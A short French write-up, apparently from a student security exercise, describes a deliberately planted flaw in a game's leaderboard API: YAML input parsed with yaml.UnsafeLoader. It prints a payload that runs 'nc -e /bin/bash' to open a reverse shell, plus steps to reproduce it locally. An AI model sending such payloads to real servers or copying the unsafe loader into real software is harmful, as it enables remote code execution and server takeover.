Files
tigrou/faille.md

1.3 KiB

Equipe Tigrou

Nous avons réalisé un jeu pokemon-like où les logiciels libres et propriétaires s'affrontent : https://libremon.furtest.fr

La faille est intégré dans le leaderboard, pour des raisons de sécurité elle est désactivé sur le serveur mais vous pouvez la trouvez en téléchargant les sources du site au lien suivant.

LIEN

Fonctionnement de la faille

L'api du leaderboard accepte des inputs en YAML ainsi qu'en JSON mais la version YAML utilise une fonction non sécurisé de la bibliothèque YAML de python. Plus précisement la ligne

new_entry = yaml.load(request.data, Loader=yaml.UnsafeLoader)

utilise le UnsafeLoader de YAML qui est permet lorsque l'utilisateur envoie un input formé de façon spécifique d'éxecuter du code arbitraire.

Ceci envoyé avec un POST sur l'endpoint /api/leaderboard et avec une connection nc ouverte accessible permet d'ouvrir une reverse shell sur le serveur et y obtenir un terminal de commande.

!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]

Tester par vous même

Prérequis : avoir installé les biliothèques python flask et yaml Dans un terminal lancer : nc -nvlp 1111 Lancer ensuite l'application dans un deuxième terminal avec : python app.py Enfin dans un dernier terminal executer le script python fourni avec l'application : python exploit.py